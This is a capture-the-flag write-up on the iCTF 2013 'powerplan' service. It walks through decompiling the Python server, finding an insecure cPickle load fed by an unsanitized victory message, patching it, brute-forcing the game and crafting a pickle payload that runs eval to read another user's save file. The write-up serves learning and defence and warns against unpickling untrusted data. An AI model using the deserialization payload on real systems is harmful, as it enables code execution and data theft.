iCTF powerplan write up


The iCTF 2013 was a competition where each team administrate some services trying to keep them available. But these services are vulnerable… So we have to goals: patch the vulnerability, and also write exploits and submit them so that they could be use against our opponents.

Here, I focus on the service named “powerplan”. On your machine, it consists of three files: game_server.pyc, Board.pyc and No surprise here: is simply launching the server:

#!/bin/sh python game_server.pyc

If you run that script, you have a new service available on port 9898. Let's connect there…

create new user or login [N/L] N user name rogdham create a password IStillHaveNightmaresAboutThatCat Operation Power Plan - Sabotaging the enemy's power grid Your agents have already infiltrated 1 enemy power plant and shut it down. Your mission: Shut down as many power plants as possible without being discovered. Your agent will be discovered if they ever try revisiting a previously shutdown power plant or go off the grid. Remember: One power plant is full of enemy spies. Do not to shut down this plant down Your agent can move among powerplants using 8 different moves. Tip: Learn quickly how the agent responds to directions. Map Legend: * : power plant full of enemy spies. Avoid! - : A power plant that still needs to be infiltrated Highest number : Your agent's current location And if you would like to take a break, type Save. - 1 - - - - - - - - - - - - * - - - - - - - - - - Select a move [S/SE/E/NE/N/NW/W/SW/Save] S - 1 - - - - - - - - - - - - * - 2 - - - - - - - - Select a move [S/SE/E/NE/N/NW/W/SW/Save] W You have been discovered!

So it seems to be a stupid game with obscure rules. Let's discover what is going on here!

Finding a vulnerability and fixing it

The first thing to do is to recover the Python code from the .pyc files. To do so, I used uncompyle, which did the job perfectly well.

Diving into the code

Looking through the code of both python files, you don't need a long time to figure out that is holding the logic of the game, whereas is the controller in charge of the communication with the clients.

But when you open the file, you immediately get a feeling of kind of vulnerability is waiting for you…

import SocketServer import threading import base64 import cPickle import sys import time import shutil import os import re import base64 import hashlib import time import cPickle import subprocess from Board import Board import random save_folder = 'saves'

Yep, in case you haven't noticed it, import cPickle is repeated a second time!

So, where is cPickle loading anything?

def load_board(self, user_name): file_name = base64.urlsafe_b64encode(user_name) fp = open(os.path.join(save_folder, file_name)) file_content = fp.close() board = cPickle.loads(base64.b64decode(file_content.split('\n')[1])) if board.check() != True: raise Exception('tried to load a malformed board') else: return board

Ok, so if you could write arbitrary data on the second line of that file, the game would be over.

The next step is to look in the code for places where we write into a file…

def save_board(self, file_name, passwd, board): hashed_passwd = hashlib.sha256(passwd).hexdigest() tstr = '{0}\n{1}\n'.format(hashed_passwd, base64.b64encode(cPickle.dumps(board))) fp = open(os.path.join(save_folder, file_name), 'wb') fp.write(tstr) fp.close()

Nope, there is nothing you could really do here, since you don't control directly what is written.

def save_score(self, file_name, passwd, victory_message, score): hashed_passwd = hashlib.sha256(passwd).hexdigest() tstr = '{0}\n{1}\n{2}\n'.format(hashed_passwd, victory_message, score) fp = open(os.path.join(save_folder, file_name), 'wb') fp.write(tstr) fp.close()

Bingo! Tracing back where the victory_message is coming from, you find that there is no sanitization. Also, this method is only called when you win the game.

Patching the vulnerability

Remember: your service is tested from times to times, and you don't want to be detected as faulty because you remove a feature while patching the vulnerability.

I thought that perform the following checks would be a good tradeoff:

  1. is it possible to base64-decode the victory message? If not, don't change anything;
  2. once decoded, remove all new lines and non-printable ASCII characters.

The rationale behind that is that the pickle format either used new lines in its non-binary format (for non-trivial objects), or non-printable ASCII characters when used with the binary option.

Here is my patched version:

def save_score(self, file_name, passwd, victory_message, score): hashed_passwd = hashlib.sha256(passwd).hexdigest() # Vulnerability fixed below try: v = base64.b64decode(victory_message) v = filter(lambda c: c == '\t' or 31 < ord(c) < 127, v) victory_message = base64.b64encode(v) except TypeError: pass # Vulnerability fixed above tstr = '{0}\n{1}\n{2}\n'.format(hashed_passwd, victory_message, score) fp = open(os.path.join(save_folder, file_name), 'wb') fp.write(tstr) fp.close()

Exploiting the vulnerability

Now that we have found the vulnerability, it's time to write an automated exploit!

The sketch of the exploit is the following:

  1. Connecting to the server
  2. Creating a new user
  3. Playing and winning the game
  4. Saving a crafted victory message
  5. Disconnecting from the server
  6. Connecting to the server again
  7. Loading the same user, which will trigger cPickle.loads on our previously crafted input
  8. Getting the result of the exploit.

I'm not going to bother you with the details of how to talk to a server in Python, this is not the point of this article.

Instead, let's see how to win the game!

Understanding the game

First, what are the rules? Tracing the execution of a game, we found this sample of code in which is in charge of handling a move.

def move_to_ij(self, p): if p == 'S': return (3, 0) if p == 'SE': return (2, 2) if p == 'E': return (0, 3) if p == 'NE': return (-2, 2) if p == 'N': return (-3, 0) if p == 'NW': return (-2, -2) if p == 'W': return (0, -3) if p == 'SW': return (2, -2) def check_and_add_move(self, p): (i, j,) = self.move_to_ij(p) (new_ci, new_cj,) = (self.last_ci + i, self.last_cj + j) if new_ci < 0 or new_cj < 0 or new_ci >= self.wsize or new_cj >= self.hsize: return False else: if self.board_table[new_ci][new_cj] == 0: self.last_v += 1 self.board_table[new_ci][new_cj] = self.last_v (self.last_ci, self.last_cj,) = (new_ci, new_cj) return True return False

Three things to see here:

So the aim of the game is to visit every single cell (except the one marked *) one time and one time only.

Solving the game

Cool, let's create an algorithm to solve that game! Oh wait, that does not seems to be obvious, does it? And remember, in the context of a CTF, you need to be fast. No time to create a beautiful algorithm here! How to do it then? Here is an idea:

Simply explained: bruteforce – Geek & poke

Let's try to bruteforce the possibilities!

Here is my Python code which returns a sequence of moves leading to victory. It's a simple BFS over the possible moves.

def bruteforce(board): remaining = [(board, [])] while remaining: base, baselist = remaining.pop() for p in ('N', 'NE', 'E', 'SE', 'S', 'SW', 'W', 'NW'): l = list(baselist) # copy baselist b = Board(board_str=str(base)) # copy base if b.check_and_add_move(p): l.append(p) remaining.append((b, l)) if b.is_solved(): return l

As you can see, I used the methods from the Board class mentioned above; the is_solved method is telling if the board is solved (not kidding).

Pretty simple, right? Good news: this program only need a few seconds to execute and find a winning sequence of moves! Sometimes, bruteforcing the possibilities is just fine.

Crafting a payload

Say you want to get the saved file of a particular user. The idea of the exploit is quite simple. As we saw, cPickle.loads is called from a method load_board of the class MyTCPHandler. At that point, if we manage to call the send_msg of that same class instance, we will directly get the data on the connection with the game server. Let's just perform a call to eval!

def payload(username): return base64.b64encode('c__builtin__\neval\np1\n' '(S\'self.send_msg(open("saves/%s").read())\'\n' 'tRp2\n.' % base64.b64encode(username))

This is just exploiting the fact that pickle is insecure when used on untrusted source.


Let me quote the Python documentation for pickle:

Warning: The pickle module is not intended to be secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.

So if you use it, be very careful. Or just choose an alternative; for example, JSON seems to be quite popular.

This article is released under the CC BY-SA licence.

Geek & Poke comic by Oliver Widder under the CC BY licence.

Short URL: